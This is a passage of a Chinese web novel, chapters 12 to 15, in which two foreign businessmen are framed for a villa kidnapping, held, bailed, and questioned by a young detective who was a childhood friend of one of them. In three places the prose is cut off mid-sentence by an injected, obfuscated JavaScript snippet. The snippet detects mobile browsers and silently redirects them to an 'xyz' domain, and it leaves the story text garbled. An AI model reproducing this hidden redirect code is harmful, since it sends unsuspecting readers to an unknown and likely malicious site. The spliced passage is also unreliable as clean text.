罗誉不认同,提醒他:“Steven,不要招惹太多不必要的人,无论如何,我们现在都不宜高调,毕竟,这是在大华。” 这是罗誉第二次提出警示,史蒂文接收到了信号,这一次,他有听进去。在脑内复盘了一下迄今为止他和王琼的互动后,史蒂文坐正身体,认真地回应罗誉:“明白,boss,我也不想惹麻烦,我会注意分寸。” 罗誉点点头,转身到办公区的书桌前坐下。史蒂文从沙发上起身,跟了过来。 “Boss,还有件事。客户答应会面了。” 罗誉抬头看他,不意外,示意他继续说。 “时间是后天下午,地点在城北的桃源湾别墅。” 很好。让我们来看看,和我们遛了那么久的鱼到底是什么品种。 桃源湾别墅是K市著名的别墅楼盘,它的规格可以说达到了K市顶配资源,在整个西南地区都是房地产行业明珠一般的存在,但这个楼盘几乎没有广告,当初甚至没多少人知道它的建成。住在里面的人非富即贵,且和这楼盘一样都低调得仿佛隐身一般,通常只有达到一定的身家,上到这个圈层的人,才对这里略知一二。 客户能够约他们在这里见面,也从某个侧面反映了这次客户的斤两。罗誉和史蒂文心里明白,这未尝不是客户对他们秀的肌肉,不过有什么要紧呢?反正他们早就决定不做这单生意,随时准备抽身。 罗誉他们这次带了四名保镖,开着车离开市区,从两个4A景区中间穿过,这才进入桃源湾,这里风景秀丽,安静闲适,却又离市区不远,进入干道也很方便,算不得闹中取静,倒是可以形容成曲径通幽。更有大师认证这里是整个西南地区独一份的风水宝地,说这里藏风聚气,真龙环抱,要不然也吸引不了这么多高端人士在这里置业,谁不想吸几口龙气呢? 史蒂文这一路上对周边的风景赞不绝口,等到地方下车,素来无所顾忌的外国人有什么就说什么。“这里根本就比那两个景区还要像景区。” 罗誉勾了勾嘴角,说:“地方是好地方,来见的人未必是什么好人。干正事儿了!” 史蒂文和四名保镖颔首。 桃源湾是前些年开始爆火的中式庭院别墅,和西式的大草坪别墅不一样。一行人行至约定的别墅门前,一路上也没有碰到什么人。史蒂文上前敲门,却发现大门没有关严。 史蒂文回头看罗誉,耸耸肩,嘲讽地说道:“给我们留了门!他们对我们还挺友好!” 罗誉没说什么,对史蒂文点点头。史蒂文得了指令,便继续行动。再怎么说他也是合众国顶尖的保镖,别看表面上吊儿郎当,实际上眼观六路,耳听八方,早把周围情况盘得明明白白,心里有不下五套预案应对可能出现的突发状况。 史蒂文确认门后没有情况,便大大方方推开朱红大门。几人绕过照壁,雅致的中式庭院映入眼帘。这里的假山流水,小桥锦鲤,无一不显示出主人高雅的品味和审美情趣,以及大把大把的钞票价值。就连史蒂文这种见过不少豪宅,有过大见识的人,也不禁做了个“哇哦”的口型。 庭院中没有人,穿过风雨连廊,进入一层客厅,整个别墅依然安静沉默。保镖们训练有素,分出两人检视各个房间,其余人守在罗誉身边。 很快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615091|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上三层都被确认没有问题,史蒂文和罗誉看向通往地下二层的楼梯。 史蒂文下意识摸一下腰侧,来之前他们就知道对方一定会做些什么,即使对方上来就机枪扫射火力覆盖,史蒂文都不会意外,这在合众国一点都不稀奇。他做过这种预案,不过罗誉说在大华的枪械管理制度下,这种可能性微乎其微。 罗誉看出史蒂文的迟疑,他明白史蒂文在评估要不要把他留在确认安全的一楼。史蒂文的专业能力毋庸置疑,只不过大华的情况与合众国、联邦国差别太大,他有些不适应。 罗誉伸手拍了拍他的背,示意一起下去。多年的搭档了,这点默契没问题。史蒂文迅速调整了保镖队形,几人一起下了楼梯。 地下一共有两层,地下一层实际是半圈环形空间,用作阅读、藏酒。另半圈是地下二层挑空,靠墙做了一整面墙二层楼高的书架。还真别说,你别管主人到底看不看这些书,视觉上还是挺震撼的。从负一楼往下看,负二楼的书架前是一张巨大的书画案,上面的文房四宝整整齐齐,一点没被动过。罗誉轻声嗤笑,转头带人下楼。 一下到负二楼,保镖们瞬间绷紧。 在书画案的对面,也就是负一楼平台正下方,是一个茶座。五米多长的实木茶台造型古朴,应该是用整根巨型树根打磨而成。 这个阔气的茶台后面坐着一个微胖的中年男人。他端坐在茶座上,一动不动,看上去没有意识,手脚被五花大绑,嘴里不知塞了什么,还用胶条封住。最重要的是,他的胸前挂着一个装置,这造型……唔…… 史蒂文当即示意撤退,还没来得及行动,就听见负二层联通车库的后门被暴烈地撞开。几名年轻的保镖迅捷地拔出了甩棍。 然而破门而入的竟是一队荷枪实弹,全副武装的警察,所有的枪口都齐齐对准罗誉一行人。 罗誉和史蒂文对视一眼,都看到了彼此眼中的意外和无奈。史蒂文很好地体现了合众国人面对热兵器和警察的尊重,果断地举起双手,冲着带队冲进来的李弛扬起一个八颗牙的笑容。罗誉叹了口气,缓缓举起双手…… 罗誉现在怎么想,史蒂文不知道,他只知道自己的内心一片荒凉。他设想过自己因为各种原因被抓进警局,甚至他想过某天会不会因为女人而被送进监狱,却从没有想过会像今天这样,因为一件自己从没有做过的事情而被铐起来。他可能是人生中第一次体会到“被冤枉”的委屈。 总的来说,今天真是糟糕的一天! 他们可能是真的太不了解大华和大华的人,无论是合众国还是联邦国的逻辑和经验,似乎都不适用于这边……唯一让他庆幸的是,今天在出发前,罗誉让他们所有人都带上甩棍,并坚定地命令他不许带枪。这使得他们在被警察包围后,竟然莫名地产生了一丝安心。他在接受审讯时,第一次为自己能够说实话而感到理直气壮。真是难得的人生体验…… 罗誉在另一个房间。相比于史蒂文的委屈、理直气壮,以及隐隐的兴奋和窃喜,他的心情更复杂。 从刚告一段落的审讯过程来看,警方是在事前接到举报,称有人被绑架,被囚禁在空置物业中。 警方到达现场就很直观地看见受害人,和罗誉他们一伙…… 几个黑衣小哥手里还拿着甩棍…… 这不是正好?现行啊! 当时的场景拍一张照片下来,在大街上随便找个路人给他看,谁都会说这是绑匪被捕现场啊!这也正是史蒂文觉得委屈的原因,审讯过程中他好几次都觉得自己的供词是在越描越黑。 罗誉倒是不委屈,在警察冲进来的那一刻,他就想到了这一点。他现在更多的是发愁,愁的不是担心警方调查不清事实导致他们背上冤屈,而是愁警方查得太过清楚…… 他终于明白了这是一个怎样的游戏。 13. 第 13 章 在被押上警车后,罗誉在警车上一直在思考,而等到现在一轮审讯过后,他终于想明白了一件事:暗中那条“大鱼”到底想干什么。 如今可以确定,酒店套房入侵案背后的这条“大鱼”与他们神秘的买家先生必然有密切的关联,他们是一伙的,甚至有可能就是同一人。 从酒店套房入侵案,到今天的别墅绑架案,确实背后设计了阴谋,但其操作又肉眼可见的粗糙,显见其实重点都不是要伤害罗誉和史蒂文。“大鱼”做这些事的真正目的,是借助警方力量,将罗誉他们困在大华,无法离境。 为什么不让他们离境呢?这一定跟联邦有关。 这些人后续的计划会是什么? 如果“大鱼”是帕朗的人,那么是帕朗想吞掉罗誉在联邦的“公司”?不,帕朗没有那么大的胃口和野心,但不排除这是“司令”的想法…… 但如果“大鱼”并不是帕朗的人,他这么做又能得到什么呢? 之前警方将他作为诱饵放长线钓鱼,必然对他这段时间的行为会有所关注。随着警方调查的深入,其实很快就能证明罗誉等人并没有参与绑架,但是除此之外,他们还能查到些什么就变得很不可控。 罗誉有很多过往,有很多秘密。本来倒是并不怕被人知道,但有一个人,他希望他永远不知道。 李弛很兴奋,这是他入队以来参与调查的性质最严重的一起案件。团伙作案实施绑架,并自制□□,团伙里还有外国人,师父说要是涉及跨国犯罪搞不好还要联动外交部门。怎么看都是个大案子! 要说受害人还是挺幸运,被绑了之后也没受什么皮肉之苦,被注射了一针麻醉剂后就睡得昏天黑地,怎么到的别墅,被绑过一个炸弹,后续的事情一概不知。醒过来就在医院,身体机能一切正常,连惊吓都没有感受过,从始至终稀里糊涂,什么都不知道,怎么不算是幸运呢? 一轮审讯过后,李弛的师父陆明飞的眉头都能夹死苍蝇。 受害人方面,除了身份信息之外,什么有用的线索都没有。老陆脑子里蹦出一个从徒弟那儿学的词:工具人。 被抓的那伙嫌疑人也很奇怪,居然两个领头的都是外籍人士,而且还是在K市相对少见的合众国商人,说是来考察新能源投资项目的。这两年市里对新能源产业的扶持力度很大,这方面的招商引资都会提供非常优厚的政策倾斜,他们这种少见的客商,一来就会在市里挂上号,商务局会有专班跟进服务,这种事是不是说谎很容易验证。而这种身份,有空绑架个人来玩? 现场另外的四人,都是俩外国人在本地正规的安保公司雇佣的临时保镖,手续齐全,佣金到位。单就是这一条就不像是要绑架人的样子,谁家绑匪还专门去雇有名有姓又有证的专业人士去作案?其中两名保镖还配了随身的记录仪。 而且初步审讯的结果就是这群人口供一致性很高。他们并不认识受害人。保镖们受雇保护委托人,前往合作者提供的约定地点,协商合作项目的事情。之所以雇佣这么多的保镖,是因为这位路易先生对合作方此前沟通过程中出现的诚信问题颇为不满,认为有必要对自己的人身安全追加一重保证。因为在他们合众国,不讲规矩的商人掏出什么东西来都不奇怪。即便如此,他们也只是每人带了根甩棍而已,还不够善良吗? 好像没什么毛病……没有作案动机,也缺乏作案条件……口供的逻辑能说得通,关键是他们也没机会串供,可信度就比较高。 可是他们出现在现场,不可能与此事毫无关联。 尴尬的是,竟然连怎么找关联都没有头绪。 有没有什么盲点还没被老头子发现啊?年轻人的意见呢? 陆明飞心里嘀咕着在办公室里找自己的徒弟,就只见这只巨型雪橇犬又拱在冯佳佳身边叽叽咕咕,脸上神采飞扬,不用听对话都知道这小子一定忍不住在跟冯佳佳分享案件。 李弛这小子怎么回事?都到这会儿了,兴奋劲儿还没过呢……年轻!还是太年轻,经验不足,对案件认识不足…… 自己也是一路莽过来的老父亲忽然间有种为不开窍的傻儿子操碎了心的无力感…… 李弛可不知道师父在背后看他的眼神逐渐哀怨。他就像个单细胞生物一样,只要是勇往直前就无比快乐。他正在给冯佳佳描述自己持枪带队冲进别墅负二层的壮举。他想要在冯佳佳心里改写自己是一只二哈的刻板印象,希望达成塑造正义且智慧的钢铁侠人设的目标。殊不知,现在的冯佳佳心中,他从二哈改成了叫声更像狼的阿拉斯加而已。嗯,行动能力比哈士奇强,智力也比哈士奇更低…… “真的真的!我当时就撞进去,拿着枪就这么指着他们,可帅了!帅得他们都看愣了!”李弛一边用手比着重演场景,一边叨叨叨个没完。 冯佳佳礼貌地微笑以对,在心底里偷偷翻了个白眼,李大愣,这段你刚刚已经重复了两遍了……瞅准时机,冯佳佳猛地出手,拽住了从身边晃过的陈登。 对不起了兄弟,死道友不死贫道嘿嘿嘿! 冯佳佳狡黠一笑,说:“陈登,李弛这小子出息了你知道不?”全然不顾陈登死活,把他拉过来挡在李弛面前。“来来来,你让李弛快给你说说他都干了什么样的英雄事迹!我还要给师父倒水,我先走了!” 正抱着一大摞卷宗的陈登一脸懵逼,隐隐猜测自己是不是拿到了祭天剧本…… “可以啊,李弛,越来越接近梦想了是吧?以后是不是要管你叫……警界飞将军?”陈登听完一遍,男生就是更懂男生。让冯佳佳头大如斗的状况一句话就让陈登化解。 李弛被晒黑了两个度的脸上透出点红,自以为窃喜没被发现,嘴上假意谦虚:“嗨!别胡说,太羞耻了。” 陈登笑,羞耻你也没反对这么叫你啊!呵呵,男人! 好在李弛虽然得意,倒是还没有忘了本职工作。两人就这么说笑着往审讯室方向走去。 陈登这几天又看完了一堆已结案件的卷宗,仔仔细细做了笔记消化学习,今天正是要去归还给档案馆。反正顺路,就陪着李弛一起走。 来到一间观察室门口,李弛推门而入。门开的那一刻,陈登发现里面不单有老陆,自家师父老王也在里面。里面的师傅们没有吭声,只招招手,让陈登跟着李弛一起进来。 进到观察室,陈登一眼就通过单向玻璃,看清了隔壁审讯室中的嫌疑人。 路易?! 老陆虽然和老王在带徒弟的理念上相差十万八千里,但多年同事,对彼此的工作能力和擅长领域都是了解的。老陆认同,在案件推理和分析方面,老王总有更精微的触感,更懂人性,于是跟支队长老方提议获准,请了老王过来帮忙。陈登是老王的徒弟,自然就一起了。 老王和陈登很快同步了案情,陈登看向师父,在老王的眼中果然看到了清晰的确定。 鱼果然再次出手了。 罗誉等人被捕当天就要求聘请了律师,临时聘请的律师先生还不错,史蒂文表示比起许多合众国的大律师,他目前这位段律师相当敬业。罗誉的律师姓文,双方沟通比史蒂文这对更为顺畅,彼此都很满意。转眼间,敬业的律师先生们兢兢业业地为两位外国雇主奔波了一周有余。 这天,两位律师再次会见他们的当事人,告诉罗誉和史蒂文一个消息:路易先生和史蒂文先生提供给警方的自证很详实,警方根据前期获得的线索,深入调查后,初步断定路易先生和史蒂文先生的过往行程与别墅绑架案实施的时间不相匹配,缺乏证据证明两人与别墅绑架案的案犯为同一主体。 史蒂文的中文水平虽好,那也是在日常交流方面,专业性稍强的文本他就明显吃不消。听了半天云里雾里,史蒂文不是个愿意培养耐心的家伙,当即表达了不满,要求律师“说人话”。 “简单来说,就是警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615092|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方现在排除了你们直接作为绑匪参与绑架案的嫌疑。”段律师推了推眼镜,好脾气地为他翻译。 “耶!”史蒂文没心没肺地庆祝。 段律师接着说:“但他们暂时仍然无法排除你们是绑匪的共犯同谋的嫌疑,比如你们那天去别墅是不是去接收被绑架的人质。所以……” 另一边的罗誉平静地听完文律师的话,接道:“可以取保候审?” 文律师非常赞赏这位雇主,跟聪明人说话就是省心。“所以您看……” “申请吧。和我一起的史蒂文,那个金发的傻大个,也给他申请吧。”能出去何必再蹲号子?就这么愉快地决定了。 文律师微笑应道:“好的,其实我在今天会面之前已经提交了申请,但我和段律师都认为,你们可能对大华的司法没有那么了解,有必要跟你们说明一下情况。” 罗誉没有反对,他很随和地点头致意,对自己这位服务意识到位的律师先生表示认可和感谢。 在律师的陪同下完成了相关的手续,罗誉和史蒂文终于重获自由。当然,自由是受限制的,他们交出了护照等证件。 等到回到酒店房间,史蒂文第一时间扯着领口冲进浴室,羁押期间他最怀念的就是酒店的浴室。这次的经历在史蒂文眼中可能只是一次“K市看守所七日游”,是他人生中一次新鲜的尝试,他如今心情好得就像一只跑轮的仓鼠。 罗誉无奈地摇摇头,坐到办公桌前,拉开抽屉。陈登的那份履历还被压在抽屉最底下,看似是最不重要的一份文档,却是罗誉始终最在意的东西。 被羁押在看守所期间,罗誉的大脑就没有停下来过。他从不主动提问,但立起天线接收所有能够搜罗到的信息,从自己的律师,到审讯自己的警员,甚至看守所的监管警员对自己的态度,都被列入他的信息清单。 早在几天前,罗誉就已经分析出很可能取保候审,只是对K市警方的工作效率缺乏了解,无法判断需要等多久。直到昨天下午,文律师来看守所时显露出那一丝微妙的喜色,罗誉知道,时间到了。果然,就是今天。 这一周的时间,罗誉心中充满隐忧。他们被抓后,抓捕和审讯的警员中没有陈登,但不代表陈登不会加入调查组。罗誉都能想到这次的背后黑手和酒店入侵案是同一人,警方不可能想不到。他们很可能并案调查,而陈登就是调查酒店入侵案的警员……罗誉怎么想都觉得,陈登已经离他的秘密越来越近。 罗誉原本的计划,是假意赴约钓出“大鱼”,拿到帕朗的把柄,就回联邦国,狠狠咬死帕朗,跟“司令”要点好处。这个计划是完全的月球背面,就和现在的罗誉一样,阴暗,肮脏,见不得光。 自从上次吃汽锅鸡后,他和陈登没有再见过面。那次的谈话,让他心头震颤,之后每每想起,仍然会悸动不已。陈登还记得小时候的他,还记得那些微不足道的事。 如果计划顺利,罗誉本打算在离开时,好好地,正式一点,和陈登做一次告别。此后他再也不会来大华,即便这是他最初的家,他也不能再来。 警队食堂。 陈登扒拉了两口餐盘里的饭菜,却吃得不知道什么味道。老王端着餐盘坐到他对面,过了好一会儿,陈登才诧异地发现他,喊了声:“师父!” 老王没好气地伸手给了他一个毛栗子。陈登抱着头龇牙咧嘴,要不是嘴里的饭还没咽下,他大概能嗷得整个食堂都听见。老王看他真疼,哼哼了一声,算是出了气了。 这个徒弟,老王是真心很满意,有灵性,还努力,人品正,性子稳。老王每次跟老伴说,有这样一个徒弟,都能多活两年。 陈登好一会儿才缓过来,摸着额角跟师父卖委屈:“师父您这是干什么呀……” “干什么?哼!我还想问你呢!你说说,你这两天都在干什么?” 陈登不知道该怎么说。他也不知道自己在干什么。 14. 第 14 章 老王不等他回答,很不给面子地说下去:“你去痕检要报告,结果拿错报告!你看笔录,结果一个字都没看进去!你说说你混了几天工资了?这成天迷迷瞪瞪的,所幸是在局里,要是出外勤,不是现成的靶子是什么?” 陈登低下头,他知道错的,师父生气是担心他。 老王的性子慢悠悠的,极少这么机枪扫射。本也没多少置气,突突一阵后,又开始担心是不是把话说重了,打击到徒弟。一时间也想不到怎么把话转圜过来,师徒之间就冷了场。 一只大掌蓦地拍在老王背上,打破了师徒间的尴尬气氛。“老王,今天的菜不合口味?”食堂的厨师长笑着问。 老王抬起头笑着回:“没有啊!这道油炸鸡枞菌是不是你做的?我一闻见这香味就知道是你的手艺!你看我还特意求着多打了半勺!” 厨师长嘿嘿笑得略得意,嘴上却说:“喜欢你怎么都没动过?” “这不还没来得及吃么!” “那你赶紧吃,凉了香味儿减半。”厨师长晃悠着往后厨去,临走留了句,“吃饭的时候就好好吃饭,教训徒弟啥时候不行,看把你徒弟饿的,小脸都白了。” 老王无语,得,是我的不是。 无故被厨师长宠了一下的陈登也懵了一下,一瞬间福至心灵,窜起来去打了一碗汤来,狗腿地端给老王。“师父,厨师长的鸡枞菌味道放得重,您喝汤解解咸。” 老王能怎么办?老王就吃这一套,还能怎么办?破罐破摔! 算了算了,翘起的嘴角反正是压不住了,老王挥挥手,吃饭。 “我说你啊,别以为我不知道,你不高兴就是因为那俩外商。”老王边扒饭边说。 陈登抬眼对师父认真地道歉:“师父,对不起,我知道我这几天状态不对。我改。” 老王不想让他回避问题,追问:“为什么呀?这俩给你下什么药了?你们交情就这么深?” 陈登挠挠鼻子,有点小尴尬:“其实也不是交情深……就是……那天跟小老板碰到,我们聊了会儿,还吃了顿饭,他给我的感觉很……” “……投契?” “倒也不是……他一开始没那么想跟我打交道,但那天聊过后,我觉得他跟我是一类人,很多想法能想到一处去……” 老王陡然间有些担心,作为警察,他们调查别人,也会有人调查他们,然后假意结交……“陈登,你……” “师父,我知道你想的什么,不是的。我能感觉得出来,他其实不了解我,说的话也不是迎合我。而且,我也不会因为这些就影响工作。”不需要老王多说,陈登明白师父会有什么样的顾虑,他连忙正面给出自己的态度。 听徒弟这样说,老王多少放了点心。徒弟虽然年轻,但确实很有原则,不是容易被蛊惑的人。“那你这几天到底为什么这么低落?跟师父说说。” “……我就是想起了一些小时候的事。”陈登扁扁嘴,“师父,那天我们吃的是汽锅鸡……” 老王默然。身为一个和徒弟早早就打成一片的师父,他当然知道汽锅鸡的故事。那位发小一直是陈登心中的刺。这样说来,老王有些明白陈登的低落了。 前不久刚还一起吃过汽锅鸡,转眼对方就成了绑架案的嫌疑人,可偏偏他又很有可能是个被人算计的倒霉蛋,人生过于精彩。 “师父,我在想,小老板的冤屈是能被洗清的,可我兄弟怎么就找不回来了呢……” 老王无法回答,他只能伸手揉了揉徒弟的头顶,然后夹了两大筷子鸡枞菌到陈登的碗里,嫌弃地大声说:“哎呀!太多了太多了,齁咸!你帮我吃点儿!这些都给你!吃光!” 厨师长在他背后不远处看着他……老王莫名打了个寒颤。 最终,陈登在老王的虎视眈眈之下,吃完了老王那一大碗鸡枞菌。 他觉得他的嘴已经失去对咸和辣的感知了…… 暂时别和师父一起吃饭了…… 师父的爱,太过沉重…… 晚饭陈登直接溜了。正在附近找小馆子,接到了王琼的电话。 “我在高级酒店工作,结果我弟没地方吃饭?你小子是在打我的脸吗?赶紧给我过来!”琼姐不乐意了,等待陈登的会是一顿疯狂的美味大餐,填鸭式投喂。 陈登在花冠皇庭的中餐厅被塞到闷饱。 最近中餐厅的主厨正在开发新的菜品,有几个方案一直拿不定主意,知道今天琼姐带陈登过来,还叫嚣“不许饿着我弟”,主厨还能跟他们客气不成?把几个未定的菜品每个都做几个版本出来,让陈登试菜,摆了满满一桌。陈登开吃的时候,身边围了一圈白色高帽子,一边还指指点点,非常积极地替他转桌,确保他每道菜都尝到。 这年头吃口饭都这么难的么…… 姐姐的爱,承受不来…… 一顿饭吃下来,主厨们得到了诚恳的菜品反馈,成就感满满,抱着他们的笔记心满意足地跑了;请客的琼姐填饱了好弟弟的胃,也让他无暇伤春悲秋,甚是欣慰,欢天喜地地给老王打电话邀功,表示圆满完成任务;陈登摸着肚皮,自我检讨,以后不能再跟师父提罗誉了,这都还没说什么呢,去掉半条命…… 王琼今天刚好事儿不多,看陈登是真的撑着了,主动陪他到酒店周边散步消食,临出来时还被小姐妹拜托带份米线回来。 “哎,那俩VIP回来了。哦,对,你肯定知道的……”王琼欲言又止。 陈登下意识瞄了她一眼,嗯了一声。 “……他俩既然回来了,是不是就没事儿了?”王琼试探着又问。 陈登确认琼姐在意这俩人,很在意。确认周围没人,小声说:“也不能算完全没事,他们现在是取保候审。” 王琼继续假装并不在意,哦了一声。 陈登没等到后续,就追加一句:“没彻底查清楚之前,护照这些都不会还给他们,他们哪儿都去不了。” 王琼一愣,紧接着两眼可疑地亮了一下,又迅速被垂下的眼皮遮住。“哦哦!那他们一直住我们这儿,我得跟安保经理说说。” 陈登心说你们安保经理早就私信问了我一大堆,安保总监也早就跟我们支队长联系上了…… 王琼没话找话:“哎呀,你看小老板那个样子,居然也能卷进这种事里……” 陈登含糊其辞地应着:“是啊,这事儿到现在都稀里糊涂的。” “这种事情,如果真是他们做的,那也应该是按小老板为主谋,助理是从犯来算吧?” 陈登有些诧异,转过头来看她。 王琼意识到说得不太妥当,赶紧找补:“如果,我是说如果……” 陈登摇摇头,表示不能想当然,还是得看实际发生的情况。“总之目前是没法证明他俩绑架了人,没有物证,也没有人证,反正没有任何证据能证明……我不能说太多……” 王琼忽然意识到,陈登已经察觉了自己的那点小心思。是啊,刑警的意识有多敏锐,看咱叔不就知道了?更何况陈登就是叔教出来的。 要说还得是琼姐!被看穿的一瞬间,和绝大多数女孩儿一样是羞赧的,但咱们琼姐心理素质就是稳如老狗,这点子羞赧也藏到了脸颊上的腮红里。本来嘛,这年头,看上个男人又算得了什么!想法一通透,整个人也就坦然了。 王琼干脆趁着这会儿周围没人,跟陈登开诚布公:“我觉得史蒂文挺有意思。我感觉他对我也不是一点儿兴趣没有,接下来我会把他列入考察名单。” 陈登讶异地张了张嘴,王琼把他的反应看得一清二楚。 “……你中意的是他啊!”陈登讷讷地说。 “你这反应……哦!你以为我是喜欢小老板?”王琼失笑。“小老板也是极品,不过太禁欲了,感觉撩不动。他的姻缘太浅淡,不是福缘深厚的女孩儿求不来哈哈哈!” “你什么时候信过这些?”王琼当下的松弛感影响了陈登,他也终于可以放松地开启吐槽模式。“对了,你还有考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615093|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察名单这种东西?都有谁呀?” 王琼笑出两个梨涡,“目前就他一个。” “……那以前都有谁呀?” 王琼无语地剜他一眼,迈开腿甩开他,“你问那么多干嘛!” “师父知道么?” “陈登,你别那么八卦,也别想拿叔压我!” “我不是八卦,我就是想看看你都喜欢什么样的……哦,某助理那样的!” “陈登,你找打!” …… 两人说笑互怼,一路遛回酒店。王琼要把米线给小姐妹送上去,两人就在酒店一楼大厅的一角等电梯,只听背后有人打招呼。 “Joan!Dan?” 不用回头都知道是那个外国助理。明明中文说得很标准,却偏偏喜欢叫别人英文名,没有英文名他就自己给别人取一个。王琼觉得这也是有点可爱。 陈登转过身时,史蒂文正热情地看向他俩,而陈登却更在意他身边的路易。 史蒂文看起来一点不像刚从看守所出来的样子,乐天得很符合合众国风格。小老板就稳重多了,就和第一次在地库见时一样,矜持地朝陈登点了点头致意。 陈登莫名就有些不爽。怎么?你是没吃过那顿汽锅鸡是吧! 就这点时间,史蒂文已经热络地走上前来。“我看背影就知道是你们!Joan,我回来了!好久不见,你想我么?今天是我们回来的第一天,我对boss说,我绝对不能再将就哪怕一顿饭,我必须要吃到好吃的!你绝对想不到,我们刚才在餐厅吃了多少东西!这几天错过的美味我都要补回来……” 史蒂文第一次在陈登面前展现出了他聒噪的一面,陈登瞬间头皮发麻!好家伙!直接就把我无视了……琼姐说这小子对她也不是一点儿兴趣没有,还以为俩人还在玩隐隐约约。如今这么一看,哪是什么隐隐约约,这都分明火力全开了,琼姐还挺谦虚。 这时,路易慢半拍地也走上前来,微微低头先推了一下眼镜,抬头时才露出微笑打招呼。“陈登。” 陈登这才忽然意识到,这小动作……有没有一种可能,小老板刚刚是在掩饰尴尬……尴尬什么呢? 直到王琼被史蒂文叫走,留陈登和路易坐到了行政酒廊,陈登才大胆地问出这个问题。 对面的路易又低了低头,看着面前的水杯,说:“是啊,有些尴尬。刚认识了观感不错的警察朋友,转眼自己成了恶性案件的嫌疑人,好像没资格再交这个朋友了。” 陈登一怔,这么细腻的心理活动吗? “……只是嫌疑人。没有审判之前,警方顶多只能合理怀疑。” “真的可以这么理智地看待吗?” 陈登倏忽间被“理智”这个词叫醒。他甚至没意识到,自己从刚才见到路易时起,就没有用一个警察的身份去考虑问题,他始终回避了路易是一名嫌疑人的现状。眼前的这个问题在理论上的标准答案当然是“是”,但现实是,他似乎怎么回答都不太对,尤其他作为一名参与此案侦办的警员,平心而论他现在压根儿算不得有理智。 罗誉转动着手上的水杯,没有看陈登的反应,自顾自往下说:“理智上,你们合理怀疑也是应该的,可我仍然会想得很分裂。一半的我很高兴你参与调查这次的案件,你对我的处境更了解,或许会更愿意相信我说的话;另一半的我又会期盼,你因为一些别的什么原因,什么原因都好,不参与调查。” 陈登突然发问:“我好像没跟你说过我参与本次案件。” 罗誉笑了。“你是没说过。我猜的。” 陈登深深地看着罗誉。“这次案件发生后,我都没有出现在你面前过,你光凭猜测?” 罗誉终于抬起眼看回去,不闪不避,认真回答:“前不久酒店那案子是你办的,你才提醒过我注意安全,没过几天就发生了这样的事,我不信这次的办案人员会把你完全排除在外。而你在我接受审讯期间,完全没有现身,这本身就说明了问题。” 15. 第 15 章 他把手上的水杯放回桌上。“在上一个案件中,你们察觉到有人躲在阴影里,你们需要诱饵,于是我成了现成的诱饵。果然他又出手了,你们觉得这次我应该知道些什么,但又怕我不肯说,想通过心理层面给我施加压力,挖到点有用的信息。这时候如果有我认识的人出现,势必会削弱前期对我施加的压力。我记得每次审讯我的警员都不重复。你们刑侦队统共才多少人?都轮换那么多人了,你还没有出现,这不是很刻意么?所以只有一种可能,你就在镜子后面,你听到了所有的供词,对案情了如指掌。” 陈登这时在心里已经为小老板鼓起了掌。他知道小老板敏锐,但从没想过能到这种程度。他分析和判断的方式和警方的刑侦推理走的是不同的路子,更偏向心理学路径,但却同样的精准有效。 “……你知道我们拿你当诱饵……” “很难猜吗?”罗誉小小地疑惑了一下。 陈登现在的感觉就像是自己身上的衣服就只剩一条底裤了,很危险。这种尺度很微妙,即使是“底裤已经掉了”都没这么刺激。当下的尺度,刚好开始产生羞耻,产生“让对方放过自己,留点颜面”的侥幸心理,同时对“对方不留情面扯下最后的底裤”产生不可抑制的恐惧和心虚。 “咳……你不生气么?” “如果是我,我也会这么做。”罗誉脸色不变,“这是性价比最高的策略。我是商人,我对任何有效的策略都不会有偏见。” “……你对背后那个人真的没有了解吗?”陈登突然问。 罗誉换了个坐姿,看着陈登,犹豫一阵最后还是摇头说道:“我知道的都已经在审讯笔录上了。” “……现在不是审讯,我也在下班时间,我们没有笔录。”陈登突然变得强硬。如果他还不知道路易是这样一个心思缜密的人,他就不会再问下去,但现在,他不信路易会稀里糊涂地允许自己对对手一无所知。 对面的路易不自然地往座椅里缩了一下,陈登知道,那代表着抗拒,但路易没有果断重复之前的说辞,就说明他不是那么坚定。果然,最后路易开口道:“我不确定,我没有证据……” “没事,找证据的事交给警方。” “没用的,说出来也没有用……” “不试一试怎么知道呢?路易。”陈登突然喊他的名字,郑重地说,“你不希望我们抓到他们么?你想以后一直躲躲藏藏,时刻防备着阴暗的角落里捅出的刀?” 罗誉叹出一口气,这在陈登看来是终于放下防备。他说:“陈登,我是合众国人。在那边,做生意就很难避开一些……团体。以前我就遭遇过几次刁难,我猜这次也是他们在找我的麻烦。” 陈登没想到是这样的答案。“你是说,那边的帮派?” “啊!对,应该叫帮派。” “他们专门跑来大华针对你?” 